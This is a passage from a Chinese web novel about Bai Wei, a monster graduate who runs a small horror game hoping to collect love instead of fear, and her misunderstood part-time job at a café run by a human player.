《我的怪谈充满爱[正]》
3. 第三章
瓶中那些宛如黑色飞虫的东西,被称为“惊惧骨子”,是怪谈中人类负面情绪的具象化。对于像白桅这样的诡异存在而言,这是食物,是力量补充剂,更是跨越维度的通行货币。
仅靠一局游戏就能收集到大半瓶惊惧骨子,还是在游戏流程极短且只有一名人类闯关的情况下。这成绩,不论放在哪儿都可说足够亮眼了。
白桅本人瞧着却仍是一点都不高兴,只沉默盯着手里的空瓶,眼神迷茫又怨念。
不知过多久,才见她泄气般颓下肩膀,越过一地还在跳舞的黑色小人,回到卧室,打开电脑,开始默默填写今天的绩效汇报表。
——她是不久前刚从诡异学院毕业的。毕业后就申报了学院的“扶谈助诡”公益项目,来这儿当了一名怪谈主。因为是学院分派来的,所以按照规定,每次运营完怪谈,都要向对接的学院扶谈办汇报一下成果。
草草填完,上传发送。发完一看,才发现自己还有一封未读邮件。
准确来说,三封。但另外两封是其他无限流游戏的HR发来的,白桅不用点开就知道里面写的什么,因此根本懒得看。
这一封的发件人却是诡异学院就业指导处的老师,和她私交还不错。再要装死,就不礼貌了。
白桅无奈,只能点开。
那老师是克系教授,喜欢说克家话,写的东西也总是充满克系风格,扭曲的字符在屏幕上旋转蠕动,仿佛只要多凝视片刻,就会融入深渊——好在还是能看懂的。
上来先是狠狠表扬了一下她最近的业绩;夸完之后,又话头一转,说起其它无限流大厂近来对白桅的关注,言语间非常刻意又不经意地带了一嘴它们那边的薪资待遇;
最后,图穷匕见,直接问白桅打算在这个维度玩到什么时候,何时准备回去找个正经无限流大厂上岗,他一定帮忙联系,全力争取,就差没把“我的毕业生就业指标很想你”几个字写在屏幕上;
最后的最后,还附带一串相当真切的语重心长:
【亲爱的桅,别多想,我不是想影响你的想法。只是,你真不觉得以你的资质而言,只在一个低级维度做怪谈实在有些浪费了吗?
【还是学院扶持的体制内怪谈,这种地方有什么趣味呢?全是为了生命平衡设置的公益岗,那里的怪物甚至连吸收生命都不被允许,唯一合规的力量来源就是惊惧骨子……天杀的这和只能吃合成肉的快餐店有什么区别?
【从你最近提交的汇报来看,显然你已回归正途,放弃了[用怪谈收集爱]这种缥缈虚幻的想法。这是好事。但既然如此,你又为什么非留在那种地方不可呢?
【诚挚地希望你能再好好想想。】
……
再往后,就是结语和落款了。
白桅面无表情,只简单给对方回了封感谢信。
相较于对方信件的长度来说,她的回复短得过分了。但白桅没办法。因为她是真不知道该和这位热心老师说些什么。
她不知该怎么告诉对方,自己目前没有任何换职业的打算,也从未放弃过那个很离谱的“收集爱”的想法,所谓“回归正途”更是无从谈起……
她只是,单纯地,收集不到爱。
仅此而已。
*
那个想法的萌生,约莫是在她临毕业的前一年。
当时她正为了人类行为学这门课焦头烂额。
说来也怪。作为一个颇具天赋的怪物,她几乎对所有科目都信手拈来;唯有这一门,她实在苦手,无论如何都没法拿到最高绩点。
用她人类学老师的话说,她缺少一些能与人类共情的必备特质,在某些方面的理解力,更是相当堪忧。
当然,这些特质无碍于她成为一个优秀的怪物,还可算是一种优势;但追求完美的天性使然,白桅还是想尽力冲一下高分。
为此,她尝试了不少方式,还特意找了个恶魔系的学霸给她补课。
恶魔学霸很负责,一本正经地给她划重点:“人类有很多正面美好的情感,达到一定强烈程度后便可被称为爱。爱有很多种类,比如家人之爱、朋友之爱、情侣之爱、宏观之爱……而你必须记住,这些爱,都有一个共性……”
知道。很高尚。
坐在下面的白桅在心里回答,咬着笔杆,昏昏欲睡。
恶魔学霸语气坚定:“很好吃。”
顿了两秒,它像是回味起什么极品美食似的,没忍住舔了舔唇,又掷地有声地加上一句:“鲜甜入骨、齿颊留香!好吃得犄角都要掉了!”
“……”
白桅眨了眨眼。
缓缓坐直了身体。
*
不怪她反应那么大。
要知道,她已经很久很久,没有吃到过能称得上“好吃”的东西了。
*
从那之后,白桅就对那门课迸发了前所未有的兴趣。
她又找了不少恶魔专业的同学请教,最终不仅通过重考刷高了绩点,得到的答案也越发明确——
好吃的、好吃的、包好吃的。只是爱这东西太过高尚,吃了可能不消化甚至中毒昏厥,也没法补充力量,但绝对好吃的!
白桅真正意义上的心动了。
虽然她不是恶魔,没有直接进食情感的能力,但这不是问题。
——只要像提取惊惧骨子一样,将那些名为“爱”的正面情感都提取出来,再用舌头去品尝,不就行了?
基于这种想法,白桅火速展开了相关研究,最终成功根据现在常用的“惊惧瓶”,独立开发出了对应的“爱意瓶”——或者应该叫,“美好情感瓶”。
用模型试过,虽有一点小瑕疵,但使用上完全没问题。只两点比较麻烦。
第一,或许是受她完美主义的影响,这件造物天然拥有类似储蓄罐的性质。里面的东西除非装满了,否则根本拿不出来。
第二,就是和作为模板的“惊惧瓶”一样,它只有在怪谈里才能发挥作用。
意识到这点,白桅果断放弃了手上拿到的所有offer,转头就向学院提出了扶谈申请。
再之后,她就被学校分配到这个世界,接手了一个快要消失的怪谈,成了这里的新任经营者。
认识她的怪物大都对此表示不解,甚至以为她是在练习诅咒的时候咒到了自己脑袋,包括那位热心的杰森老师;但白桅不在乎。
她在那么多无限流大厂实习过,给那么多邪神主神打工过,天天尖叫萦耳顿顿惊惧罐头,早就听烦了也吃厌了;
她就想搞点有品的、整点新鲜的、吃点好吃的,她有什么错!
况且,她也不认为自己会在这儿折腾很久。
爱意瓶的收集判定特别宽松,只要是因怪谈和诡异产生的浓烈正向情感都可算在内;她的收集思路自问也相当清晰——
人都是感性且善于联想的生物,这点白桅非常清楚。
这就意味着,只要怪谈内的元素设计到位,就能轻松唤起他们一些关于爱的联想和回忆,进而产生更多的美好情感。
收集一两瓶爱的骨子,这不就轻轻松松的事?
她都想好了,也不贪心,到时候就先浅浅搞个四瓶。一瓶自己吃,一瓶收藏用,第三瓶呢,正好可以用来装修。
美好情感凝聚的实体,必然也是极美的,用来装点她的怪谈正好;最后一瓶就看情况,无论是自用或者送朋友都可以……
多完美!
完美完美完
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美完美完美完美——
美不了一点。
视线又落在那个空玻璃罐上,白桅终是没忍住,重重叹出口气。
虽然很不想承认,但从目前的状况来看,她似乎是遇到了一点困难。
上任一个月了,怪谈开四次了,每次都是奔着收集爱去的,每次都抱回来一大瓶不爱吃的惊惧骨子。
就集到那么一点点几乎看不到的爱的结晶,她还搞不清究竟是怎么来的。
闻着是真的香,也很馋人。偏又拿不出来。
好的,更难受了。
如果说前三次是她因为对人类了解不足导致的决策失误,那她也认了;问题是这第四次——
她明明都已经按照热心网友的建议来布置了呀?怎么瓶子还是空的呢?
说好的爱呢??
白桅越想越郁闷,索性掏出手机,再次翻看起来。
手机里是她整理的笔记,参考资料则均来源于几个小时前、她偷偷登录人类论坛发的求助帖——
【请问什么样的家庭会让你觉得很有爱?】
有些人好像不喜欢她,发了很多无法理解的符号和话;但也有很多好心人,认真答了她的问题。
白桅特意挑了几条顺眼的记下,这会儿正好翻出来,一条一条对着看。
【一个能和家人互相托举的家庭】——这条没的说,她绝对做到了。
怪谈内的橱柜高度都是设计好的,正常情况下玩家绝对够不到,必须得要“家人”在下面默默托举才行;而在拿到碎片后,作为回报,便会改由玩家背负“家人”……
所以“托举”体现了吗?体现了;“互相”体现了吗?体现了;所以有问题吗?
肯定没有啊。
过。
【一个有可供回顾的细碎点滴的家庭】——
嗯,这条白桅理解起来稍微有些困难,但她觉得精髓还是有把握到的。
“细碎点滴”,不就是碎片的意思?所以她设计让玩家去找全家福的碎片,有问题吗?完全没问题。
过。
【一个家人会带着你爱吃的东西来看你,并用它塞满你冰箱的家庭】——
至于这一条……
行吧。白桅承认,这条她确实有点自我发挥了。
毕竟她没有读心的能力,进来的玩家又是随机的,她怎么知道人家爱吃什么呢?
但没关系,她觉得这不是重点。
稍微变通下就好了。
“带着爱吃的东西来看你的家人”和“带着爱吃的家人来看你的东西”,这二者之间有差别吗?显然没有。
所以直接把家人等同于“爱吃的东西”,这个判断有毛病吗?显然也没有。
那就简单了啊。把家人放进冰箱就行了啊。有问题吗?显然更没有啊。
过,下一个。
下一条是什么来着?哦,【一个能在团聚时把你的世界从黑白变成彩色的家庭】……
呃,这个她其实没看懂。但网友都这么说了,肯定有人的道理,所以她还是尽量照着做了。为了搞出那种五彩斑斓的彩色效果,还费了不少心思呢。
她选择相信热心网友,所以过。
【一个彼此间有天然联结的家庭】——
嗯……嗯?
白桅目光一顿。
仔细一想……
这一部分的设计,更不可能出问题了呀。
看看冰箱里那些家人的联结,多紧密啊!
毕竟就那么点地方,不团紧点儿也塞不下。
嘶……
所以,到底,是哪一步没有做对呢?
手机的屏幕逐渐暗下。
白桅再次陷入沉思。
4.第四章
那场深刻的复盘,最终于半小时后结束。
并不是因为找到了答案,而是白桅困了。
运行怪谈很容易导致疲倦,她又不乐意去吃那些惊惧骨子,只能靠真正的睡眠来回复体力。
再次醒来时,已经是十几个小时后。
现实时间已经来到了下午。白桅慢吞吞地爬出窝,原本还在厅里玩游戏的黑色小人们立刻呼啦一声全围了上来,围着白桅的脚又蹦又跳,像一群快乐的小跳蚤。
白桅脑袋里还残留着困意,懒洋洋地打个呵欠,随手在它们头上呼噜两下,打开柜子,开了个惊惧罐头,舀出一大勺骨子,放在了它们共用的大碗里。
黑色小人们欢呼一声,呼啦啦地围了上去。只有极个别的有些挑食,远远看着不愿凑近,白桅索性单独给它舀了一把骨子,加上一点儿自己的力量,捏成个小小的糖丸,那落单的黑色小人这才欢欢喜喜地跑过来,将糖丸抱在怀里,珍惜地一口一口舔。
白桅认真地教育它不要挑食,完事又看了眼时间。忙站起身来。
时间不早了,都快到三点了。
她也该去上班了。
*
——对,上班。
虽然听着有些匪夷所思,但除了怪谈经营者的身份外,白桅确实另有一份工作。
她自己找的、在人类社会的工作。
一般来说,在怪谈之外的地方,怪物是无法被感知的。因为这个世界的状态还算良好,“正常”与“异常”之间边界分明;但白桅不一样。
她不是这里的原住民,是跨维度来的,本身品阶不低,力量又很充沛。因此,哪怕是在现实世界,她依旧可以被人类所感知,也能进行交流。
白桅琢磨着,这多少算个优势,不能浪费;而且她心里也清楚,虽然自己的人类行为学最终成功刷到了最高绩点,但那都是靠死记硬背的。本质上,她对人类的了解还是不够透彻。
对于目前的她而言,无疑是种劣势。
为了弥补这一点,她果断在刚来的时候就设法给自己找了个工作,努力增加学习与交流的机会。
工作地点在城东,是一家独立咖啡馆。距离她怪谈的现实坐标有点远,要坐半小时公交加一小时地铁。好在上班时间很合适,她每周只用去三天,都是下午到晚上的班。
白桅会瞬移,但为了更好地了解人类,她通常还是会选择公交上下班。像今天也是。
收拾完东西,她慢悠悠出门,按部就班地等公交。肩上还很有生活气地挎着一个绿色环保袋——这是她参考附近小区的大妈,特意给自己搞的行头。
身上的衣服也是仿着人类买的。只不过白桅对人类了解不深,仿也只能仿皮毛,不知道衣服不穿时要叠要挂,在家时总是随意团着丢在地上。有时还会被玩耍的黑色小人们踩到,留下黑黑的印子,她也从没在意。
公交很快到站。因为是工作日的下午,车厢很空,白桅扫视一圈,找了个顺眼的位置坐下。
入座时,还很热情地和前座的女孩打了个招呼:“你好呀,又见面啦。”
前座是个长发女生。背着个很酷的黑色背包,拿一本厚厚的红皮书,每次坐车总能遇到她。因为很好奇女生背包上印的圆形图案是什么意思,白桅在初见时还好奇问过,女生告诉她,这是她学校A大的校徽。
不过她俩实际也就说过那一次话而已。之后每次见面,白桅倒是都有打招呼,那女生却像是比较腼腆,有时会跟她点点头,有时干脆不理,两人间再没说过什么。
这次也是同样。女生正在低头看书,闻言只看她一眼,礼貌地微微颔首,很快又收回目光,
白桅也没当回事,向后靠在椅背上。静静望着窗外不断倒退的绿化带,只觉自己因昨夜绩效而产生的郁闷,总算消散了些。
*
一个半小时后。白桅准时来到了自己的上班地点。
咖啡馆叫做“苦短”,装修得典雅文艺。除了白桅外,包括老板在内,一共就三个员工,还都是兼职。
因为今天运气好,赶上了早一班的公交车,她比起平时还早到二十分钟。进门时却发现柜台后面站着的不是熟悉的同事,而是一个陌生的女孩;店长围着围裙,站在她旁边,两人正低声说着什么。
店里空荡荡的,没什么客人,两人说得也认真,眉头皆微微蹙着,一见白桅进门赶忙停了,像是不想让她听见。
“小白,来啦!”店长叫苏英,三十二岁,个头高挑,笑起来时很是灿烂。她冲白桅招手,和她介绍旁边的女孩:“这是唐邦安,是新来的妹子。今天白班正好有人请假,我就让她先来试试,熟悉下工作。”
说完,又给妹子介绍了一下白桅。两人彼此打过招呼,店长立刻给唐邦安使了个眼色。
“安安,你五点不是要去聚餐吗?是不是快来不及了?”
“啊?……哦,对对对!”那新来的女生愣了一下,忙不迭地点头,“白姐,不好意思,我赶时间,先失陪了。”
说完,拿上自己的包就要往外走。
店长不知何时也摘下了围裙,只说附近的地铁站很难偏很难找,主动将人送出了门。
再刻意不过的规避,白桅却没什么表情。只原地安静眨了眨眼,转身就找了个围裙,开始熟练地往身上系。
*
另一头。
苏英一手搭着唐邦安出了门,边走还边往后看,直到走到一处隐蔽的街角,方如释重负地呼出口气。
“行了,就这吧。我们长话短说。”苏英飞快地说着,刻意压低了声音,“我们刚才说到哪儿来着?哦对,那个新手怪谈的流程……”
“……我不知道它现在改了没有啊,但我之前去的时候,第二个线索旁边的柜子里是有‘跳杀’的,就是你一拉开柜门,会有一个女鬼唰一下扑出来——这个你需要注意点。但不用太担心,因为那女鬼只会吓你一下,不会攻击你的。
“另外呢,那个柜子里有一罐咖啡,是个道具,喝了以后能保持一整局游戏的亢奋,但我觉得没什么用,你要是胆小就别去拿了。要拿也行,可以别喝,攒着,以后遇到卡片商可以和它换东西……哦对,你知道卡片商是什么吗?”
……
又过五分钟,该交代的东西终于交代完毕。苏英望着唐邦安故作镇定却依旧难掩紧张的脸,又是一声轻叹。
“别紧张。忘了我说的吗?怪谈虽然可怕,但有一点好,那就是里面是不会真死人的。”苏英低声道,“除非你耗完了所有的存活天数,否则不管你在怪谈里倒下几次,都不算真正的死亡。”
“理论上我知道,但情感上我控制不住
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。”唐邦安忍不住咽了口唾沫,“我本来想去租一个愚善眼镜,至少能安心点。可我今早又刷到个帖子,有人说自己的眼镜在怪谈里失效了……”
“哦,那个帖子啊。我也看到了,路人P发的是吧?”苏英却道,“你看看就行了,别太当回事,发帖那人我知道,论坛活跃用户,可喜欢水贴了,满嘴跑火车,他说的话你没必要太当真。”
“比起这个,你打算上哪儿租眼镜?渠道靠谱吗?要是不介意的话,我这边可以推个玩家给你,你不一定要去他那里租,但可以参考一下他那的价格,省得被人砍……”
“嗯嗯嗯,谢谢苏姐!”唐邦安忙点头,不断道谢。又听苏英说起之后带她组队的打算,更是一阵感动,虽说依旧感觉前路茫然,心中却踏实了不少。
——她是一周前刚被卷进怪谈游戏的,本身还只是个大二的学生。熬夜猝死后稀里糊涂地签了合同,又过了个新手教学本,重见天日的那一刻,内心竟说不清是狂喜还是惶恐。
还好复活后因为太过激动,没忍住上社交软件发了个树洞。本以为没人会在意她的胡言乱语,谁想发出后却收到了两条私信。
第一条私信是告诉她,牢记合同内容,下次不要随意在网上披露怪谈游戏的事。会受到惩罚,扣积分和存活天数的。而且就算发了,其他正常人也看不到,不要白费劲。
第二条私信里,则是一条链接。
点开来,看到如死论坛,她这才知道原来这世上,还有不少和自己一样的人。
树洞软件的用户都是匿名,她也不知道对方是谁,再去联络,对方也没有任何回复。自己发出的内容也在短短半小时后就自行消失,再找不到一点踪迹。
唐邦安只能把感谢按在心里,埋头认真研究起论坛里的攻略贴——根据规则,她作为新人,还要独力通过三个指定怪谈才算真正过了“新手教学期”,而这,就是她当前最需要啃下的硬骨头。
论坛刷着刷着,又刚好刷到苏英的咖啡馆招帮工。说是咖啡馆,其实算是个小社团,成员可以互相帮助、分享情报、组队开黑。正好她学校离这儿不远,就抱着试试看的心情联系了苏英,聊了几天后,发现双方还挺合拍,这才正式见面。
听苏英的意思,她这便算是正式加入“苦短咖啡馆”了——只要之后再安排下,和其他成员见个面就行。
想到这儿,唐邦安内心越发安定。想起之前咖啡馆里见到的女生,又不由有些好奇。
“那个叫白桅的女生,也是玩家吗?”她轻声问。
不想,这话一出,苏英的脸色登时微妙。
“她……还真不是。”苏英揉了揉眼窝,“对,这事我还得跟你强调下呢。”
“咱们团队呢,加上你,现在一共五个人,但咖啡馆的员工,是六个。”
她盯着唐邦安茫然的双眼,认真道:“白桅她不是怪谈玩家,就是一普通人,是被我不小心误招进来的。我现在正在设法送走她,但估计还要一段时间……
“总之,她和我们不一样,也不知道任何关于怪谈游戏的事。所以,只要她在店里,你说话的时候千万得当心些,绝对不要提任何相关的字眼……”
要是被白桅不小心听到,会给脆弱的小姑娘带来何等的精神冲击还是其次;最重要的是,她们可是要受罚的!
5.第五章
……诶?
唐邦安懵了。
她和苏英认识不久,但也算有所了解,知道她家底殷实,开这家咖啡馆也是兴趣使然,完全不在乎盈利的。
员工啥的自然也不重要,更别提,那叫白桅的只是个兼职……
所以为什么宁愿自己行事麻烦,也非要留着她?
唐邦安毫不掩饰自己的困惑,苏英却一点要解释的意思都没有,只提醒她赶紧回去做准备。
“我也该回去了。”苏英道,“今晚加油。静候佳音。”
唐邦安立刻紧张点头。
苏英目送她离开,也往回走。一路走回咖啡店,隔着玻璃看到白桅认真工作的侧影,默然片刻,又不由蹙起了眉。
*
招聘白桅这事,纯属意外。
这年头,玩家间都很流行搞社团,性质和网游中的帮会差不多。苏英不喜和人交往,但为了方便组队开黑,也组建了一个自己的小团队。
刚巧上个月,队里一个成员被人挖走,她便在论坛发帖招人,最终和一名玩家达成共识,约在咖啡馆见面。因为那玩家是同城A大的学生,本就在找零工,苏英就顺带还给她留了个兼职岗。
谁想到了约定那天,那玩家没来,白桅来了,还主动问她们招不招人。苏英一个激灵,立刻反问她学校,白桅说是A大,又对上了。
于是她就这么水灵灵地搞错了,把事定了下来,完事上论坛一看,才看到那名玩家给她发了私信,说自己反悔,不去了。
这才发现闹了个乌龙。
苏英当即立断,打算先把人辞掉以免出事,只是性格使然,她在劝退人时,用词没那么直接,比较委婉。
谁想这妹子也是个牛人,愣是没听懂。第二天照旧快快乐乐地来上班,给苏英都看傻了。
想要说的直白点吧,怕伤人自尊。再加上后来渐渐发现,这妹子的条件实在艰难,更是开不了这个口……
“诶,店长!”恰在此时,白桅也注意到了玻璃墙外的她,眉眼一弯,笑容灿烂,“您回来啦!”
苏英勉强抬了下嘴角,推门进店,走到柜台后换上围裙,抬眼一扫,恰好瞧见白桅放在柜台内侧的手机。
笨重的过气机型,套一层泛黄的塑料软壳,屏幕比记忆里多出一道裂缝,从边沿一直延伸到中央。
苏英一愣:“你手机摔了?裂这么厉害,还能用啊?”
“可以啊,没事的。”白桅正忙着做刚接的外卖单,“就是坏的地方触屏不灵了,但还是好用的!”
……这不叫好用啊。
苏英眉头蹙得更紧:“那也太不方便了。你要不还是换个新……”
话未说完,瞥见前方白桅的衣服,又瞬间安静了。
正面有围裙遮挡,从后面却看得清楚。老气的圆领运动衫,质感全无、版型一般,尺寸也明显不合身。
视线再往下,则是同样不合身的裤子,还有明显山寨的球鞋……
目光再次落在那个破手机上,苏英后知后觉,自己刚才的话多少有些想当然了。
白桅的经济条件不好。
结合种种表象,不难得出这一结论。
而经过这一个月的相处,对于白桅的情况,她早已了解得更为透彻——
她知道白桅是从外地考来A大的,故乡偏远,母校资质也不好,大部分同学毕业后都直接去打工了,能突破重重困难来到A市的,据说近几年来也就她一个;
她也知道白桅以前几乎没来过大城市,也很少上网,因此对许多东西都感到陌生,一些老掉牙的网络梗都听不太懂;和人交流也有点困难,时常会出现一点理解偏差。
也不知是不是因为这个,她和同寝的室友们处得也不太好。比如之前聊到室友话题时,白桅就曾非常坦然地提到,室友们都不和她说话,也不带她玩,喜欢在她睡觉时玩游戏,总是摆着一张黑脸,还常在她的东西上踩来踩去……
显然是被抱团欺负了。更糟的是,她自己像是都没意识到。
但无论如何,小姑娘人是真的不错,总是笑脸迎人的,而且学习能力特别强。至少技术层面的东西,一学就会,举一反三。
可以说是相当聪明了——苏英有时都忍不住想,如果她能走运一些,从小就在更好的环境中生活的话,混得能有多好。
想来至少比现在强。
即使如此,她老家人还要拖后腿。苏英曾不止一次听她说,老家的长辈朋友都很不看好她现在的发展,反复写信来劝,说已经给找好了工作,想让她回去上班……
听听,这是人说的话吗?大学都不让读,谁知道找的是什么鬼工作,上的又是什么鬼班?
还好白桅自己聪明还有志向,坚决表示在实现梦想前决不回去;她有时甚至会直接称呼老家那些人是“恶鬼”和“怪物”,可见有多不喜欢。
苏英必须承认,自己迟迟没再开口辞退白桅,一方面确实是出于同情,另一方面,也是因为欣赏她的心气。
只是,这咖啡馆在论坛也算有些名气的,除了自己团队的成员,有时别的玩家也会来开会或者做交易,留她在这儿,到底是个风险。
所以只能先拜托靠谱的朋友帮着找找新工作。打算等收到回音了,再好好和白桅说一下,把人劝过去,起码别叫她断了收入……
苏英想到这里,顺手掏出手机,打算趁着空闲,再找朋友问问进度。
却听柜台上的电脑叮咚一响,提示有新的外卖订单到了;跟着就听白桅诶呀一声。
“黄杏美式啊……果酱正好没了诶。”
她看向苏英:“老板,我去仓库拿新的哦。”
苏英应了一声。正要动手先做其他饮品,却听自己手机又响了起来。
打开一看,是玩家群里有人艾特。再一看,才发现不知为啥,群里竟又开始讨论路人P那个帖子,估计是因为她之前在群里公开吐槽过这事,所以有人特地圈她出来吵架。
这种情况,搭理才是有病。苏英并未多管,收好手机,转头注意到白桅手机放的位置不太稳妥,便也拿了起来,想给挪个地儿。
然而拿到近处,忽觉出些不对。
正面看不出来,但那手机的背面,分明印着一团团黑灰色的印子。形状模糊,难以辨认,但看这个分布……
怎么瞧着那么像……鞋印?
“……”
像是想到了什么,苏英的脸色沉了下去。
*
仓库内。
白桅拿好东西,正往外走。
教材里写的果然没错,充实的学习工作能让人忘记烦恼。像她现在,虽然才只做了几杯咖啡,但心情已然好了不少。
不过心情好了,脑子却还是糊涂的。她依旧想不明白,自己昨晚布置的那个怪谈到底哪里有问题呢……
不,应该说,自己过去布置的四个怪谈,到底哪里有问题?
她的怪谈等级还很低,一次能容纳的玩家数量有限,她当然知道这点是有很大影响的;但总不能运气真就那么差,连着抽到四个玩家,全是不懂爱的铁石心肠反社会吧?
白桅漫无边际地瞎想着,又回到柜台前。
苏英正在干活,见她过来,却没说话。直到外卖员来将餐品取走,才听她若无其事般开口,问白桅的手机屏是不是被她室友弄碎的。
白桅还在那儿琢磨怪谈的事,闻言下意识点头,点完才觉得奇怪:
“咦,店长你是怎么知道的?”
“我怎么知……这你别管。”苏英心说踩手机的脚印都还留着呢,谁看不出来?想想却还是没纠结这个问题,而是直接道:
“那她们和你说对不起了吗?”
“没有啊。”白桅眨眨眼,如实回答。
她不知道为啥店长对她的“室友”总是很好奇,时不时就要打听;事实上,她在第一次听到苏英问她室友的时候,大脑都有些空白。
她不太懂为什么苏英默认她会有“室友”,也不清楚正常的“室友”该是什么模样;更重要的是,因为能力问题,她其实不太好说谎。
在被问及学校时会直接说A大,也是因为这学校本身就存在,说了也没事;但再要编几个像模像样的室友出来,问题可能就有点严重了。
好在她向来很会变通,很快就有了主意——既然“室友”指的就是同居一室的人,那她养的那些小黑人,理论上来说,应该也算吧?
于是她当时就试着和苏英说了一下小黑仔们的情况。
沟通很顺利,对她的描述,对方似乎也没察觉到不对。这显然是好事。
只是不知为什么,从那以后苏英貌似就对她的寝室生活有了浓厚兴趣,动不动就要问相关的事……
像现在就是。
她真答了,苏英又不高兴,眉头都皱得更紧了。
“没有道歉,也没说要赔?”她音量都提高了,“你知道她们是故意的吗?”
“不是啊,它们不是故意的。”白桅赶紧道,“这只是意外……”
而且虽然没说对不起。但在她发现后,它们有排排坐猛磕头,还哭唧唧地给手机列阵鞠躬……
白桅自己是真没当回事——但看苏英的表情,自己难不成又搞错了什么?
但具体错在哪儿,又不知道了。只能礼貌又不失迷茫地一笑。
“……”那略显茫然的笑容落在苏英眼里,却让她一下冷静下来。
片刻后,她深吸口气,再次开口。
她先是问了下白桅辅导员的联系方式,可惜白桅说什么都不肯给;没办法,她只能改换方向,诚恳建议白桅回去后自己
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找辅导员,申请换一个宿舍。
“这……不好吧。”白桅已经搞不清情况了,为什么又牵扯到“辅导员”了?
她只能尴尬地笑,一边笑一边拼命回忆背过的人类礼貌用语例句:“这样,会给他,带来不便……”
“没有不便,这是他应该做的!”苏英却很坚定,“你只要把你室友做的一切都告诉他,他肯定帮你换!他要不肯换,你……你跟我说,我给你找地方住!”
说完,见白桅仍是一脸迷茫,又有些无奈。
苏英没带过小孩,更没带过被霸凌的小孩,更更没带过被霸凌还茫然不觉的小孩,所以她也不知自己这会儿该不该挑明了说,只能先曲折道:
“小白啊,你要知道,环境是很重要的。一个糟糕的环境,是没办法帮助人成长的。
“但有些时候,我们可能因为自身的眼界局限,没办法辨认当下环境的问题所在。这时最好的方法,就是先换一个环境待着。就像你自己,也是来到大学后,才发现老家并不适合你,对不对?
“所以我希望你不管怎样,先从那个宿舍搬出来,先去体会下正常的人际交往……你能明白我的意思吗?”
她边说边盯着白桅,由衷担心她有没听懂——毕竟这可是个连委婉劝退都听不懂的老实姑娘啊!
所幸,白桅这回好像还真听懂了。
只见她微张开嘴,整个人仿佛被击中一般,随即又深拧起眉,像是陷入了某种深刻的思考。
“您说得对,环境,是很重要的……”她喃喃重复着苏英的话,语气中渐渐带上几分了悟,“当我们意识到问题却又找不出来的时候,换一个环境,或许是个不错的思路……”
她猛地抬头。不知是不是苏英的错觉,她眼睛似乎都亮了一下:
“谢谢老板!我想通了!我知道我该怎么做了!
“您真是个好人,以后一定顺利平安!”
……啊,是吗?
那就好那就好。
苏英很想这么说,但不知为啥,看白桅的样子,总觉得她和自己说的不是一回事……
还有那个顺利平安又是什么意思?虽然很吉利,但听着好出戏,还有点土。
苏英心情一时复杂。偏这时,外卖提醒又接二连三地响,只能先去处理订单。
系统还在不断来单,刚好又到了下班放学的点儿。陆陆续续有人进店,这么一忙,竟就忙到了九点下班。
白桅脱掉围裙,笑盈盈地和苏英告别。苏英见她神情确实开朗不少,只当自己的话真的有效,也没多想,挥挥手让她走了。
自己则留下来收尾,忙完终于刷了下手机。一翻群聊,见居然还有人在问路人P的帖子,这才发觉自己可能错过了什么。
一翻记录,恍然大悟。
原来,就在今天下午和晚上,路人P那个帖子里又分别出现两人跟帖,作证他们这个月里也出现了防护道具失灵的情况,而且也是在类似的单人怪谈。
路人P在论坛风评不好,但有人佐证,这事的性质就不太一样了——毕竟大多数玩家的通关,很大程度上都仰赖愚善眼镜。万一这种情况大规模出现,那他们该怎么办?
所以这事一发酵,立刻有许多人开始忧心,更有阴谋论的,觉得这或许是某种危险信号;但也有不少人觉得暂时没必要太过担忧……
而苏英,在搞清情况后,果断选择了后者。
【从那几人的描述上看,他们进的大概率就是同一个怪谈,只是形式变换得比较频繁。】她打着哈欠在群里发言,信誓旦旦,【所谓的眼镜失效,多半也只是这个怪谈本身的设置而已。】
【所以说,要发散可以,但阴谋论是不是有点过了?至少等类似现象出现在其他怪谈再来担心吧。干嘛自己吓自己……】
发完,干脆地收起手机,背上包,走了。
全然不知,某列运行的地铁里,比她早走的白桅也正一脸严肃地刷着手机。
她手机运行内存太小,开个网页也要缓冲半天。白桅脸上却没半点不耐,反而透着掩不住的激动。
老板说得对。她想,环境是很重要的。
尤其是在陷入瓶颈的时候,更换环境,或许反而能找到出路
所以,白桅已经决定了——她要给自己换个环境。一个更适合激发爱的环境。
自己的怪谈是没法待了,但带着爱意瓶去其它怪谈打工,这个倒可以试试……
恰在这时,手机终于缓冲完毕。一个古早的论坛界面跃然屏上,散出幽暗的光芒。
如果苏英在这的话,她就会发现,这个论坛的首页排版,和玩家专用的“如死论坛”几乎一模一样。
唯二的不同,就是各个板块的名称设置,以及挂在最上方的、暗色的论坛大名:
【整活】
6.第六章
仿佛死了,便是如死。
折腾活人,即为整活。
白桅不知道这俩论坛具体出自谁手,想来应该是学院找的某个外包团队;但不论从版面还是名字来看,显然是同一条生产线上出来的。
“如死”的面向对象为玩家,“整活”则主要为这个维度的怪谈从业人员服务。只是和玩家不同,怪物们没那么喜欢聊天,因此不论是讨论区还是发帖区都冷冷清清,只有“黑名单”和“合作区”两个板块还有点热度,浏览量较高,也时常有信息更新。
“黑名单”,即需要警惕的玩家名单。所有论坛用户可见,且均可参与编辑。
最常上榜的通常是一些喜欢玩骚操作的玩家——倒不是因为他们通关率高,而是因为那些骚操作往往会对怪谈的设施造成破坏,间接增加维护成本和工作量;其次则是那些被认为有糟糕习惯的玩家,比如什么喜欢到处涂鸦啊、喜欢找怪物聊骚啊、肠胃不好上厕所有味道啊……反正每个名字后面都会备注对应的理由,如果看到后觉得介意的,提前做好防范就是。
“合作区”,则是仅限各个怪谈主们使用的板块,也是白桅这次浏览的重点。
所谓“合作”,形式多种多样。包括但不限于道具租赁、员工派遣、设计外包等等,除此之外,还有一种特殊的合作方式,被称为“参展”。
简单来说,就是由一个怪谈作为主场,来自其他怪谈的团队成员则为客场。客场团队们需要提前向主场的怪谈主支付一定的摊位费,从而获得该怪谈内部分区域的使用权,在配合主场怪谈主题的前提下,开始自己的表演。
又因为大家都默认进行合作时,客场团队无论如何都不能干扰主场的游戏设计和流程推进,不管设计得如何卖力,都只能算作“支线”,因此这种合作方式,又被叫做“支线拼盘”。
白桅这回就是想换个环境,去其它怪谈看看,这种“支线拼盘”,无疑是最好的方式。
点进板块,不少怪谈正在公开邀请客场团队。白桅一个个地筛过去,很快就选定了一个怪谈,以怪谈主的身份提交了客场申请,没多久就收到了回应。
那个怪谈叫做“知行中学”,在本地似乎还挺有名气。对面的对接人也挺客气,加上联系方式后先是一阵问候,跟着便发来一张长长的价目表,除了摊位费外还有一堆可选的付费服务,让她随便问,白桅却很干脆,直接选了最基础的合作方式,除了摊位费外,一个子儿都不打算多出。
反正她也用不上。
